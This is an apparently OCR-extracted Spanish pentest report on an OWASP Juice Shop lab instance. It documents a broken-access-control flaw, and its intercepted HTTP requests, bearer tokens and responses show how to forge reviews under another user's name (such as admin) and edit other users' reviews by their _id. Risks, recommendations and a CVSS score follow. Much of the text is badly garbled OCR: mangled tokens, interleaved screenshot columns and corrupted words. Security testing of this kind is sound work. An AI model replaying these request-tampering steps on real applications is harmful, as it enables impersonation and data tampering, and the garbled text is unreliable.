Loz77ns rar JThQHOV LmVEDIMMSMSHPL s 70021 2425V A0gk HrbSk kERT 1nS_ScpFeE2UDAc 3CBQ] s4QymoLUS2xBS3AA b
Content-Type: application/json
Content-Length: 73
10 Origin: http://192.168.1.41:3000
11 Connection: close
12 Referer: http://192.168.1.41:3000/
13 Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode
BQu hat JTxHzUBt2CX 10T vibU7H UV CBL VSMUEZCbWF KyHIY SRQcZLT LKsgkUMBC3sMasrQ; - continuecodeFindT
pYynakgQnVKkbpoOGawaxdY13ey Xa5qtmeR7BLDMyS2LE0oNGr IR  zmyj 02rb ; continueCodeFixIt:
64bYBYp02gMN0j 4QRW2EXWDSVkxSPhS13Z6PLbK7Gr vgy BNnBI LoeSDQKYN; token=
Y306 XA1 01 JKVLQiLCIhb Gei 03 JSUZT LNLJ9. ey 72dGFOM XM 01 1z dWN] ZXNZTiwi ZGFOY SL6eyIpZCI 6M] ES InV2ZXILYHL
1110414 wi ZW1habiwi O1 JOZXNOQGP LakNLLXNoLMOWI iwi ¢ GF2c3dv emQL 01.) 1 Y2AZZT ONZE2YWZ1 Y N 23 hi ZTe2Njhhy 2Z
LYmVINSISINIvbGUi 01 ] dXNob21 i T SmALbHVAZVRYa2VUT i Tiwi bGFzdExvZ2 L USKAL 01wl ] AUMCAW T i cHIvZmL
szULtvwdlIjoiL: (i3 5aliMy aW1hZ2VzL 3\wb GShZHMy ZGUmY XVsdCSzdmei LCI0b3RWUZV] cmOT joi Tiwd aXh
BY3RpdmLi OnRy dWUST my ZWFOZWREACI 61 j TwMj I tNDg tMDk gMTkENDQEMT CLINDG L CSWHDOWNCI ST nVwZGFOZWRBACI 6T 1
W] T tMDG tMDkMTk ENDQSMT cLNDG YL CSwHDWMCT STMRLb GVOZWRBACI SbnvsbHOSImLhdCI 6MIY 2MDASNDI 400wi ZXhwI o
XN YDk yMj g4f Q. kCLci 01 TQLCXSKBBEACd02CKx 3FBGa 2ul oxe7 xCCtQbntvDeT 51 J58UGG kLabcz0jhav71keqlbznkk
Loz77ns rar JThQHOV LmVEDIMMSMSHPL s 70021 2425V 40gk HrbSk kERT 1nS_ScpFeE2UDAc 3CBQ] s4QymoLUS2xBa3AA
14
15 {
"message”:*Just a review test@juice-sh.op",
“author* :"admin/ajui ce-sh.op"

REBow
o

©w
=

Imagen
de la misma resefa una vez modificado el autor y su aceptacion por parte del
servidor a pesar de no tener permisos.
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Pretty  Raw  Hex 8w =
= nm/pmduns/zmmm HITR/1.1 pe: appl
2 Host: 182.168.1 ength: s1a
3 User-Agents Moz 1+75.0 (X125 Linux x86_64; rvi6l.0) Gacko/20100101 Firefox/81.o 5 ETag: W/ 13a- Zyzayco0d rZRECTp) sPmcuDbr Q!
4 accept: application;json, text/plain, =/* 5 Vary: ccept. Encoding

10 Date: Tua, 09 Aug 2022 20:57:30 G
11 connection: close
12
DR} VAL oD )SUCT 14530, ey O J2ch BisLini 2OEOVSIGeyJpZEIGIER LN | ¢

[

Bratty

n; charset=utf-8

rWlLIjeilime. i e
20 bhy 2ZLYmVINST ST VbGUL 01 3 dXNGb21 Lei TsTMRLBHYAZVRYa2VT 01 Liwi bGrzdExvzal uSHhm]JLMuFCR
Tl €HINZNLSZULETWALT | 03 L2 2 2V0c y w0 by 1NZZVZL 3Wwbioh 2y ZGuny XV'sdCS 2 LEJCh2Ru2Y f
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*T1kesCount * 10,
It [

ZHyhhy ZZL Yy LNST sTnJwbiL 0137 XG0 21 Le1 T STl bHAZvR: 1) 01 LiwibGrzdEs " likedBy!
wlivicHvznlszltrdl oL vawlhZ2vzL.

3L 011w aXNEY DAL O Ry s Ly ZWFOZRERCL 6L 5 1 .4‘J[t*ﬂg(M}gv’T«G'«Dwm:ur\qu wCL ' 1t 11 LhRAPEME 33V SMAPx"
STWZGFOZWFEACTET | TwMj [ tHOGLHDK gk BNCASHT cuhDay] a-d‘Dzn.“lch[ﬂ\bGVODﬂFBUC'&mV;bHD:ﬁ hdcr y -

Y HDABET 4001 P T | o5y TobDh ) 041 3,11 5174
5856 KLghez0jhu7 ke Lbzrkk Loz Tmnsear ThahouL

Captura de la reseia licita y la reseia ilicita creadas por el mismo usuario pero
que figuran y se almacenan con diferente autor.

ety waw  rar W vo= ey waw e e
.rssmraducrs/zr, reviews HITE/1.1 HITP/LL 201 Crested
2 rastt 192,16

KBEF4c 402 CKx3F362uT oxe TRCCECbNtvDETS1 ] ;
DTMMSMSHPT 57002 | 2425¥a0gkHr bokk ERT 1nS_SepFe 3

5 rvis1.0) Gacke/2010010L Firefox/sl.0

i charsat=uti g

Authorization: Beara 2
220875 01 2KV 161 LCIhbG i 01 2du ZX0z i 20 1omj QUYWL | B ETag: W/ La-vSamue/mbsi KeT L LLNGS"
1joi. ALLANoL_mow jrzazzr i2j ghhrez | s vary
LriniLhsZsnave d tei raInAl Ijoir e 10 Datar Tus, 03 fug 2022 21102134 GHT
szl trwslEjoiLar o SzdmeiLCIObALY] VAL o2 [1viaXN | 1 Comnection: close
ar: TeTyTu TGt DM err |12
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Captura de la edicion de una resefia de otra persona

Raw  Hex 8=
Lleer jr!s!/prnduuslmlraneus HITR/1.1
3 xe n.:, JILA/E D IX11; Linux xB6 84; rv:al.0) Gecko/20100101 Firefox/s1.0
dccapt: applicationjson, tert wlasn, e
= Aceept-Language: an-US,
hecept cncadings geip, deflase
authori {\Il(m Bearer

Raw 2
ey ey

us, 09 Aug 2022 21;03:33 GMT
ion: close

ceess’,

&y DXL 01 KV1 G LCIhb ISUZT 18 98, ey zelOd M 0 T 2w 1 -

LT j0iTiwi ZWLha 30ZXNOAGR 1NLLXNoL 1101 0jv2A22T N aez-vz;vwmzmzr;m]w;z ¥ . (. e, .
lvwllvlsmvhu.um bz Leizstml L1011 wLborzdexy Bt o i
s2ultvWdLT joil ﬁmﬂ m—m,uz./;mmm iwiakN . R

w;maucm,muum,zw O2BACTET Tut) ek GHTKEADQRHT ¢ gy TC Do ol e

ity uNDgyL
0 YuHTy My 41 L 0T Ok BB ey 3785 20T oxe T e ISEUAG: L esaphrm i abari
Lez77nsrar] ThQHOV LmVEDLa!

continueCode=

2 nueCoder: ce-sh.cp®,

2 Jzd

Wl
il e nzjmZTCam b2z
0 mmm;mn BHVAZURCaZUUL o1 1 wi bGFzdExy Z2 uSKA O Ll AUNCAT
hz2vzL 52 e LCIEB3RL2V] CvOT 01 Tiwi aXh
et o s L“Jumutnocm.kgm | ENDQEHT CLHDgy LCswDoNMEL S LNV 2

TnlhdcTET
CrabntyDel s2 156UGE kL gbezaghar71keaibznkk
2 PECEAID4C 0B jsAQy Tl US2xEzAn
” *likadBy":
1.

ce-shuop®,

i vt B S0 ZXEQuE0rT

*producte 24,
ge" ;" L g a review with no o,

*author! : ' mynewadsin@ i ce- sh.op*

*Likescount* 0,

“Likedgy": [

i STAZNarBKADY X

Captura de la resefia editada con éxito

Esta vulnerabilidad afecta especialmente a la integridad de los datos
mostrados en la aplicacién pues podemos editar resefias existentes de otros
usuarios sin ningun tipo de autorizacion o podemos crear resefias en nombre
de otras personas.

RIESGOS Esto puede permitir a un atacante generar campafias de desprestigios o
simplemente, lograr crear una gran confusidon ante resefias de clientes
negativas de todo tipo.

Ademas, los clientes podran ver claramente como sus resefas han sido
editadas y perder por completo la confianza en la aplicacion.
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También puede ser usado como punto inicial para ataques mas elaborados y
discretos, como enlaces que podrian parecer de confianza por usuarios
aparentemente calificados y que terminan siendo maliciosos.

Es muy importante que todas las entradas de datos que recibe el back end se
filtren nuevamente al recibirlas porque es posible interceptar y alterar todas
las peticiones enviadas al mismo.

RECOMENDAC

IONES

https://www.packetlabs.net/posts/broken-access-
REFERENCIAS control/#:~:text=Broken%20access%20controls%20are%20the,10%20web%2
Oapplication%20vulnerabilities%20list.

EVALUACION DE CRITICIDAD CVSS 3.1

FORGED Review

CVSS3 PUNTUACION MEDIA 8,5

Vector de Ataque Red, es accesible desde internet

Complejidad Baja, no se requiere de circunstancias especiales para realizarla

Privilegios requeridos Bajo, se requiere una cuenta normal de usuario

Interaccion del usuario Ninguna

Con cambios, la vulnerabilidad nace y afecta a la aplicacién, pero
también puede llegar a afectar a los usuarios si se usan enlaces
maliciosos.

Confidencialidad Ninguna pues no se accede a datos sensibles.

Alta pues permite crear reviews en nombre de otros usuarios e
incluso editar reviews de otros usuarios. Dicho de otra manera,
falsear la informaciéon disponible o incluso insertar enlaces
maliciosos.

Integridad
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Baja, se podria editar las reviews para dejarlas todas en blanco, pero
solo afectaria a este aspecto.

Disponibilidad

EXPLOTACION

Su proceso es simple.

Desde una cuenta de usuario cualquiera creamos una peticion de feedback que interceptaremos con
una herramienta como BURP.

¢ Request to httpf192.168.1.41:3000

Forward o Weion | [ Opmrommar

& row e CES
PUT /rest/products/24/reviews HTTP/1.1
Host: 162, 168.1.4

User- Agant: Mozilla/8.0 (X11; Linux x85_6

Accept: application/json, text/plain, */*

5 Accrpt Language: enLE, an;qe0.5

£ Accept-Encoding: gzip, deflate
Authorization: Bearer

0) Gacko/20100101 Firefox/91.0

eyJ0eXA1 01 KV1Q:LCIhbGe1 01 JSLEZT 1N J9. ey 2dGFOIXMi 01 M\Zl?\:’)ulzﬂ'msleeyJpZCIEMJEslr\V szuvmllJo'ZulZhlhar-lnmm’xhoo(‘:ldAMLm;LnQ.“n(c-r,(Mv(anmJ‘VVLZY(MZEZWZNnN*_Z)mZV(ZMJh
hY2ZLYmVINSTSTnIvbGUL 01 ) dXNob21 Lei T Ijoiliwi 201 T} AUMCAWT 1 cHIvZnlsZUL tYWd LT o1 L2Fzc 2L 2dca LCI 0bSAGIZY) CTvOT o
1T1w1 aXNSY 3Rpdm. 161 ) TuMj I mmqucs.mmm 1613 IvMj T -vmwct hdCIEMTYZMDASNDT
400w ZXbw ) 0XN; YwHDk yM] g4 0. kCLe 01 TOLO) 1 CtdbntvDcIs158UGG1Labez0] hGV7 1keqlbankk Loz77nsrar ) ThGHOV LRVEDT mMSHSHPT smc-lzazsvnoqmmwawns ScPFCEZUD4CICER}4Qym
Olus2xBaarA

& Content-Typa: apol\ra:.c'/)wn
Content-Length:
Origin: http: um 168.1.41:3000
Connection: close
/192.169.1.41:3000/
; welconebanner s(a(us-d)svmss, cookieconsent_status=dism:

10ujhatITxHzUB2CXIOT: HruvCBi VSMUEZCBWF K yHy

M0 QAW ZE XDk XSPh51 262 bK 7Gr vgy BB LoeSDQKyN;  toke
131 21w 03 J0DXNOGGD L swNLLINOLNGWT 1 COF

auT 11 cHIvZNl sZUL tYWILT ) 01 L2F2c V0 yweh s akMya 1hZ2vz

M0q tHDK GHT K ENDQSHT cuNDgy ] CowiDo,

2nkkLoz77nsrar ) ThGHOV LVEDI MMSHSHPT 5

ZLT1KsgkUnBcSasMasrQ; continueCodeFindIt=

3dvemQi01)

ONZEZYWZ1 YT Zjh ZTc2Njh

Pvalvmu\\‘lsrnntc{m 37 dANEb21 1 ToLIALbHVAZVRVaZVE 1o Tivibaredoevzluseae 01 T AuMC
111w1 3 XNBY 3RpdmUs OnRy dwlis T ey 2w ic ) THMD: T
2000 Dl JouN Ry

OlUE2xBI3AA

strAll s -
12425VA0gkHrbSkKERT InS_ScpFcE2L04c3CB0] 54Qym

x3F8Ga2ul oxe 7XCCE G e 11560661 kLabez0) hoV Lk

Editamos la peticion cambiando el autor:

Pretty Raw Hex n Pretty Raw Hex Render

1 PUT /rest/products/24/reviews HITP/1.1 1 HTTP/1.1 201 Created

2 Host: 192.168.1.41:3000 2 Access-Control-Allow-Origin: *

3 User-Agent: Mozilla/5.0 (X1l; Linux x86_64; rv:91l.0) Gecko/20100101 Firefox/91.0 3 X-Content-Type-Options: nosniff

4 Accept: application/json, text/plain, */* 4 X-Frame-Options: SAMEORIGIN

S Accept-Language: en-USs,en;g=0.5 S Feature-Policy: payment 'self'

& Accept-Encoding: gzip, deflate & Content-Type: application/json; charset=utf-g

7 Authorization: Bearer 7 Content-Length: 20
eyJ0eXA101IKV1QILCIhbGE1 01 SUZI 1IN 19, ey zdGFOXML 01 J zdWN] ZXNzI1wl ZGFOY SI6ey JpZCL6M] ESINVZZXIuYWl 8 ETag: W/"14-YS3wuE/mmbSikKcT /WuallLINGSU"

1IjoiTiwiZwlhawwiOlJ0ZXNOQGR1aWNLLXNCLMSW iwl cGFze3dvemQl 0111 YzAZZTcON2EZYWZL YmNL 2 hiZTe2N] hhy2Z 9 vary: Accept-Encoding
LYmVINSI sIndvbGLi 01 dXNOb211ci IsImRLbHVAZVRYa2Vul j0iliwi bGFzdExvZ21USXALC Twl j AuMCAwIiwicHIvZml | 10 Date: Tue, 09 Aug 2022 20:58:41 GMT
sZULtYWdLT j 01 L 2Fzc 2V0c ySwdn s abiMy aW1hZ2VzL 3Web GohZHMy ZGVmY XVs dCSzdme i CI0h3RwUZVj cmv0T joiTiwiaXN | 11 Connection: close
BY 3Rpdmli OnRy dwUs I mNy ZWFOZWRBACI 61 ] TwMj I tMDgtMDkgMT k ENDQSMT cuNDgyI CswMDowMCIs LN \wZGFOZWRBACISL ] T 12
whj TEMDgtMDk gMTkENDQBMT cUNDgy I CswMDowMCT s 1mRLbGVOZWRBACT 6bnVsbHOSTmhd CIEMTY2MDASNDI 400wi ZXhwIjo | 13 {
] YwMDk y M] gaf Q. k CLe 101 TQLCXsKBEEAcdOz CKx 3FBGaZUT 0xe 7x CCt QbntvDeT s1.58UGGE kLgbe z0jhav7 1keqlbznkk "status":"success'
Loz77nsrarjThQHOVLmVEDIMMSMSHPI s 700z L2A25v40gkHrbokk ERT LnS_ScpFcE2UDAc 3CBQ] s4QymolUS2xBI3AA h
8 Content-Type: application/json
9 Content-Length: 73
10 Origin: http://192.168.1.41:3000
11 Comnection: close
12 Referer: http://192.168.1.41:3000/
13 Cockie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=
BQuj hat)TxHzuBtzex 0T vibUZHrUVCBI VSMUEZebWE KyHMY SRQcZLT 1KsgkUmBcS3sMASTQ; continueCodeFindl t=
pYynak gQnVKbpOOGgkax dY 13eyX85qtmER7ELOMYS2L E0ONGrIPj zmwj 02rb; continueCodeFixTt=
BwhYBY pOzgMmD]j 4QRwW 2EXwDdS9Vk x5PhS13Z6PLbK7Gr vgyENnBl loeSDQKyN; token=
&yJ0eXA1 01 JKV1QiLCIhbGe1 010 SUZT ING 9. ey 2dGFOAXM 01 2dWNj ZXNzT1wi ZGFOY ST 6ey Jp ZCI6M] ESTNVZZXIuYWl
1] 01 Tiwi 2WLhabhwi 01 0ZXNOQGR 1 aNLLXNoLmSwT iwi cGFzc 3dvemQi 01 1] Yz AzZT cONZEZYWZL Ymhi Z) hi ZT ¢ 2Nj hhy 22
1ymvINSISInIvbGU101J jdxnNob211cl IsImRLbHVAZVRY a2vul jo111iwi bGFzdExvZ21uSXAL 0L Iwl ] AUMCAwI lwicHIvZml
sZULtYWdLI 01l 2Fzc2V00 ySwdn]s akiMy aW1hZ2vzL 3WbGohZHMy ZGYmY XVs dCSzdme il CI0b3RwU2V cmyOT joiliwi aXN
EY 3Rpdmi OnRy dwUsT mNy ZWFOZWREACT 61 j TwMj T tMDgtMDk gMTk BNDQSHT cUNDGYT CswMDowMCI S In\WwZGFOZWRBACT 6T j T
wM] I tMDgtMDkgMTkENDQEMT cuNDgy I CswMDowMCI sImR1bGVEZWREd CI 6bnVsbHOSTmLhd CI 6MTY 2MDASNDI 40Cwi ZXhwI o
xN] YwMDk y M g4f Q. kCLe 101 TQLCXSKBBE4cd0z CKx 3FBGa2Ul 0xe 7x CCtQbntvDeI 51J58UGGI kLabez0jhav7 1keqlb2nkk
loz77nsrarjThQHOVLmVEDIMMSMSHPT s7D0z L 2425V40gkHrbokk ERT LnS_ScpFcE2UDAC 3CBQ] s4QymOL US2xBI3AA
14
154
"message":"Just a review test@juice-sh.op',
*author" : * adminfsjuice-sh.op"

i

La review queda insertada con dichos datos:
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Para editar una review existente, hacemos lo mismo, pero enviando e

Pretty

NeaswN e

cw

Raw  Hex 8w =

GET /rest/products/24/reviews HTTP/1.1
Host: 102.168.1.41:3000

User-Agent: Mozillass.0 (X11; Linux x86_64;
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Bearer

@y 0eXA101 IKV1Q1 LCIhbGed 01 JSU=T 1Ni 39, ey 1z dGFOAXML 01 JzciNj ZXNzTiwi ZGFOY ST6ey JpZCI6M] ESInV2ZX]
UYWLLTj 01 T wi ZWLhabhi 01 JOZXNOQGD LaWNLLXNoLmMOwI iwi cGFzc2dvemQi 01 1) Y2AzZT eON2EZAWZi YN Zihi ZTe
2N hhy 2Z1YmyINSTSTnJvb GUL 0 J }dXNob21 Lci TS ImRLbHYAZVRYaZVUT j 01 Tiwi boFzdExvZ2LUSKAL 0L Twl ] AuMCa
wIiwicHIvZml sZULtYwdLT j o1 L2Fzc2V0cy Swdnas @My a1hZ2VzL 3vb GohZHMy ZGumy Xvsdcszdmei L ob3muU2y
§EMVOL ] 01 T4 wi 2XNEY3Rpd UL OnRydWUSTmy ZWFOZWRBACT 61  TwMj TtMDg tMDk gMTK ENDQEMT CLNDQyT CswMDOoWHCT
SINnWZGFOZWRBACT 61 j Twhj I tMDgtMDk ghT k 6NDQGHT CUNDGY T CsuMDowMCT s InRLbGVOZWRBACT 6bnVsbHOSImLhdCT
MY 2MDASNDT 40Cwi ZXhw J 0xNj YDk yMj 9 4q. kCLci 01 TQLCXSKBSEAcd 02Ckix 3FBGa 2UL 0x 8 7% CCtGbn tvDeT 51
58UGG1kLabcz0jhGY71keq 1b2nkk 1o277nsr a3 ThQHOVLMVEDT MMSMSHPT s 7D0z1 2425V 400k Hrb Sk KERT 1nS_ScpFe
E2UD4c3CBQ] s4QymolUG2xBS3AA

Connection: close

Referer: http://162.168.1.41:3000/

Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss;
continueCode=84uBhEtoT 1HyU3tNCx LI Tgi DSKUEHUV C 41 SBUGLCEST YSHOr Sg5cqPT kRsbeUXncK 1s8mf BL ;
continueCodeFindl t=pYynakgQnVKkbpOOGqWaxdy 13ey XESqtmBR7ELDMY 521 E0ONr P jzmy] 02rb ;
continueCodeFi xI t=6ubYBYpOZqMmO] 4QRWZEXWDASVk xSPhS13Z6PLbK7Gr vgyBNnB) LoeSDAKyN; token=

£y 02XA101IKV1Qi LCIhbGC1 01 ISUZT 1Ni 19 ey 2 dGFOd XML 01 JZcWNj ZXNZT i wi ZGFOY ST6eyIpZCI 6Mj ESTnVZZXd
UYWL 01 Tiwi ZWLhabiwi 01 JOZXNOQGP LawNLLXNoLmOw] 1wl cGFzc3dvemQi 01 1Yz AzZT cON2EZAWZ YN Zjhi ZTc
2 hhY 2Z1YmVINST S TnJvh UL O J §dXNOb21 Lei Ts ImRLbHVAZVRYA2VUT j 01 Tiwi bGFzd ExvZ2LUSKAL 0L Twl ] AUMCA
WIiwicHIVZmL sZULtYWdLT j 01 L2FzC2VOcy Sudwds sy aW1hZ2VzL 3\wbGShZHMY ZGumy Xvsdcszdmeil CJob3RuUzY
§CMVOT ] 01 T4 wi aXNBY3Rpd L OnRydWUST my ZWFOZWRBACT 61 § 1w TtMDg tMDk gMTK BNDGBMT cUNDgy T CswHDOwMCT
SINnW/ZGFOZWRBACT 61 j Twh T tMDytMDk gMT k SNDQSHT cUNDay T CswMDoWMCT S TmRLbGUOZWRBACT bn VsbHOSImLhdCT
GMTY 2MDA3NDI 40Cwi ZXhw  0xNj YwMDk yMj 941 Q. k CLci 01 TQLCXsKBBEACd02CKx 3FBGa 2UL 0x e 7xCCtQbn tvDCT 51
S8UGG1 kLgbcz0jhGv7 1keq1b2nkk 1oz 77nsr ar3 ThQHOV LmVEDT mMSMSHPT s 700z 2425V 40gk HrbokkERT 1nS_ScpFc

rv:91.0) Gecko/20100101 Firefox/9l.0

APl RAA

Pretty  Raw  Hex  Render

—reaTa e ru ey
6 Content-Type: application/json; charset=utf-g
7 Content-Length: 314
]
9

pyumre—ssr

ETag: W/'13a-ZyzaycoOf rZRIECZpIsPmewDbrQ"

12
139

"status':"success’,

"datat: [
“product” :"z4",
“message’ :"Just a review test@juice-sh.op’,
"author! :"test@juice-sh.op",
“LikesCount" :0
“Uikedsy®: [
1.
“_id"z* MxYNaGtNbgneiodQu"
“product :"z4",
"message':"Just a review test@uice-sh.op",
“author! :"admingj uice-sh.op!,
“LikesCount" :0
“Uikedsy®: [
1,
“_ide st ihRNPeMa33YsMAPXO"

1
1
i

IM

todos los parametros que queramos cambiar, por ejemplo:

Fremty

Haw  Hex -

1 PUT jresl/pv—odunsl?l,’rsvuws HITR/L.1

2 Host: 152.168.1.41: 2
2 e At HoriTlarBed (x11; Linue xB8 885 rv:91.0)
aceapt: spplicationsson, text/plain, /v ,
5 Accept-Language: en-Ls, &

Gecko/20100101 Firefox/a1.0 3

& ccapt. Encading: atip, dafiate y

7 Authorization: Bearer

ey10eXii 01 IKV1Q1 LCIhbGe1 01 ISUZT 1M1 9. ey 2dCFOXMI 01 J 2N ZXN2T 1wi Z6FOY ST Sey JpZCT M) ESTnWZZXuYW] | B
11 03 1w ZW 1haiwi D1 OZXNOOGp 1 WAL L XNoL ST i wi ¢ GFzc 3dvemdi 01 3¥ 2 A2ZT CONZEZVWZi Ymhi Z3hi ZTc2m hhv2Z | ©

premy

Pe—
HTTP/1.1 201 Created
Access-Control-Allow-Origin: *

X- Content-Type-Options: nosniff
X-Frama-Dptions: SAMEORIGIN

Feature-Policy: payment ‘self’

Contant-Type: application/json; charseteutf-8

7 Contant-Length:

ETag: W/ 14- ¥53wuE/mmbSi kKeT MWual LINSSL
Vary: lccept-Encading

TrmvINSISINIvbGUI 01 jdXNob211ci ISTMRLBHVAZVRYaZVUT joi iwi bGFzdExvZ21uSXAi 0l Iwl ) AuMCAwl iwicHOVZmL | 10 Date: Tue, 09 Aug 2022 21:02:34 GMT

sZULTrwdLT] 01 L2F2C2V0C yOuwdws Sy wLhZ2V2L 3Vwb Goh ZHMy ZGVmY XVSACSZdme] LCIOb IRWLIZY] coVOT ] 01 T 1w aXN
Y 3RpdmLs Oy dWUs iy ZWFOZWABECT 61 1 1) 1 tMDG MOk gMTKENCQBHT cuNDgy I CswMDoWMCI sTnw2GFOZWRECI6T ) T
M) TtHDG DK QT KEADQSMT cUNDQy T CswMDonMCT 5T 1AL b GVOZWRBACT SbnVsbH0sT mLhdCTSMTY 2HDAINDT 400w1 ZXhw ) o
XN] YwMDkyM] gaf Q. k€L 01 TOL CXsKBEEAcdDz 0K SFBGa2UT oxe7x CCtQbntvDe 151 I58UGGL kLqbez0j hGVT1keq1b2nkk
Toz77nsrar ] ThOHOV LmVEDL sMSMSHPT 570021 2425V gk HrbSkkERT LnS_ScpFeE2Ubdc 3080] satymal USZxBS3AR

2 Content-Type: application/json

S Content-Length: 156

) Origin: http://192.166.1.41:3000

11 Connection: close

12 Refarer: http://152.168.1.41:3000/

13 Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCod
BOujhatiTxHz, cxr“rnbu?HruuLE\"sﬂl.EzchmmesRDchl KSgkLNB:338MASrQ; continuecodeFindlt:
¥ ynakgGnvkbpoOGaWaxdy 1 3ey Jpjzmajo2rb; continuecodsFixt
GablBYpDAqu(!J/-DFth‘D'lgwx‘\ﬂhﬂiZéPLhK?G vayennB) loeSDKyN; token
42084101 JKVIQILCIRbGE 01 JSUZI 1ML 19, 8y 20CFORXM) 0112 0WN) ZXNZT Lk ZGFOY ST G y JpZCT 6M) ESTAVIZXITW
11702 1 1w2 Zw1hawe: 01.J0ZKNOOCR 1 aWNLLXNOL W] 1w € OFzc 3dWemQL 01 1) Y 2AZ 2T cONEZF W21 Y1 Z) ha ZT c2y hh 22
1Y MVINSTSINIvbGUl 01.) jdih0b 21 Lci T8 TnALbHVAZVRYa2VuT ] 01 Tiwl bOFZdExvZ2LuSKAL 0 [wL) AUMCAI 1wa cHIVZNL
sZULtYWALT | 01 L2F2c 2V0c ySwew] 5 8wy a1 hZ2VzL 3Vwb GOhZHHy ZGVNIY XVsdCS zdme i LCIOb3RWUZY] criT § o Tiwi aXN
BY 3FpdmL Dy dWUs L iy ZWFOZWABACT 61 § 1] T tMDg Mok gMTk ENGOBMT culiDgy T CowMDuwMCI sTnVwZGFOZWRBC1ST ] 1
M} ITHDG DK GTKENDGEMT CLNDgy T CamMEowMTI 51 1L b GVOZWREACT BbnVsbHOsTmlhdCT 6T Y ZHDAINDT 400w ZXhw ) o
XN] YwMDkyM) 947 Q. kL1 01 TQLCXSKBEEAC A0z CK 3FBG 2u axe 7X CCtabn tvDe 1 81 158UGGL kLabe 0] hGv71keq1bankk
Loz77nsrar 1 ThOHOVLMVEDLMSMSHPT 570021 2425V d0gkHr bokkERT LnS_ScpFeE2Ubdc 3080) sAQymol USZxB934A

sdating a review with ne authorization,
‘mynewadmng)uice-sh.op”,

*LikesCount®:3,

;Illkuday':

3d* ' MeYHaGEHbgnei 0dQu®

11 connection: close

_id” de la review a editary

Y aqui podemos ver como la review con dicho _id ha sido editada sin que contdramos con los

permisos para ello:

e Raw
| GET /rest/products/2a/reviews HITE/1.1
2 HOST: 192.168.1.41:3000
2 user-agent: Mozilla/s.o (X1,

Linux 64; rv:91.0) Gecko/20100101 Firefox/91.0

Hex a v

Raw  Hex
T ALCEpL-ENCOTLIYG
10 Date: Tus, 08 Aug 2022 21:03:33 GMT
11 Connection: close

prety

4 Accept: application/json, text/plain, w7+ ff(

5 Accept-Language: en-US,en;q=0.5 . . _ E

6| Accept-Enceding: gzip, deflate status::"success’,

Authorizatien: Bearer

ey JDeXAd 01 JKV1Gi LEIhbGei 01 J5Uz1 1Ni I8, ey )zdGFOd XML 01 JzdWN] ZXNz Liwi ZGFOYSI Bey JpZCT EM] ESTnUzZXIurnl ducts i+ 24"

1101 i wi ZW1 habwi 01 JOZXNDQGE 1 aWNLL XNoLmGwT i wi cGFzc Sdvemi 01 1 ¥z AzZT cONZE2YWZi ¥ i 2] hi ZTc 2N hhy 22 _product™:” N i hop®
TYMVUNST5TnIvbGUL 01 dXNDbZ1Lci T sTmRLBHVAZVRYaZVuT j 0i T3 wi bGF2dExyZ2L uSKAL O Twl ] AuMCART iwi cHavzml i (’““.‘* e test@juice-sh.op®,
SZULtYwdLT) o L2Fze2V0cy SwdhdsawMyak1hZ2VzL Vb GahZHMY ZGNY XVs dCS2 dme 1 LCI Db 3RWLIZY] VDT J 01 11wl aXN _Tiuh?:;wn:?ou ice-sh.op’,

B 3FpdmL OnRy dWLIS Ty ZWFOZWRBACT ST | Twh] T tMDG EMOk gMT k ENDQEMT cUNDgy T CowMDowMCT 10w ZGFOZWRBACT 61T likedsy il

WM T tMDg tMDIcgMT k SNDOSMT cUNDgy T CswMDowMCT 51 nRLbGVOZWRBACT SbnsbHOs I mLhdCI 6MTY 2MDAINDT 400wl ZXhwI ) o ] N

xM) YwMDk yM) g41 Q. kCLe1 01 TQLCXsKBBEAcd0z 0K x 3FBGaZul oxe7xCCEObn tvDeT 51 58UGGLkLabez0]hGU71keqlb2nkk v i s B aG b gnei odout

Loz77nsrar ) ThQHOw LnVEDI mHSMSHPT s 700z | 2425V40gkHr bSkkERT 1nS_ScpFcE2UD4c 3CE0] s4QymOLUS21BG3AA [

& Connection: close {'

o Pefersr: http://182.168.1.41:3000/ .

10 Cookie: language=sn; welcomsbanner_status-dismiss; cookisconsent_status=dismiss; continueCode= review taty n.ap"
84UBhELOT 1HyUTHCX )T gL DSXUEHLUVC 41 WSBUQLCESFY SHO SgScqPlkRsbeUxnck 1semfeL; continueCodeFindlt= La 2“; estjulce-sh.opt,
PYynakganVKbpCOGaWaxdY 132 y X854 TMER7ELDMYS 2L EaSNGr JP] Zmwj02rb; continueCodeFixIt= Lce-sh.opt,

Wb YEYpOZqMN0) A0RWZEXWDHSVKXSPhS13Z6RLbK7Gr v gySNnEY LoeSDGKyN; token=
‘8y208XA1 01.IKV1Q1 LEIhbGE1 01 JSUZ1 INi J9. ey )ZdG-0dXML 01 J2dWN) ZXNZT i wi ZGFOYST 68 y JpZCT6M)ESTNVZZXIUYWL 1
L1jo1Tiw1 ZW1hakw1 01 JOZXNOQGP1aWNLLXNoLMOWI 1wl cGFze 3dvemQ1 01 )Y ZAZZT cONREYWZ1 Y e Z) hi ZT M) hhv 22 o
LYmVLNSTsInIvbGUL0L) j dXMObZ1 e I sImRLbHVAZVRva2VUl ) 0111wl bGFzdExvZ2LuSXAL 01 Iwl ] AuMCAwI 1wicHIwZmL 3, "
SZULtYWALI j 01L2Fzc2V0cy QwdW.) sawMyaW1hZ 2vzL 3vwbGOhZHMY ZGVmY XVsdCSzdme1LCI Ob 3RwU2V] cmVOl j ol 11wl aXN .
B 3Apdmli OnRydWLis Ty ZWFOZWRBACL &1 j Luttj 1 Mg MOk gMT k ENDQSMT cUNDgy ] CswMDowMCT 1 nvw2GFOZWRBACI 611
3 LMD T DO D0y Dot 1AL GUCEREACL G O LT MY HDASNDL 400w et 12 o review tast@juice-sh.ope
XN] TuMoky .
Loz77nsrar ) ThGHOW LMVEDT AMSMSHPT § 7002 | 28 25V40gkHr bokkERT 1n_SepeE2D4c3CH0] a0y mOLUSZXB934A Luther: s admnbyues-sh o0t
i *Likedsy :
: 1,
+"id" :*miveebeDZNQUIDFA"
).
4
=product® :*24",
*message® :"Updating a review with no authorization®,
*author® ;" mynewadningjuice-sh.op",
*LlikesCount* :0,
*Likedsy:[
1,
" _id" ;" XhaS7AZMambK Adyy X"
¥
1
3
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VUL _023 — PRODUCT Tampering

DESCRIPCION

EVIDENCIA

RIESGOS

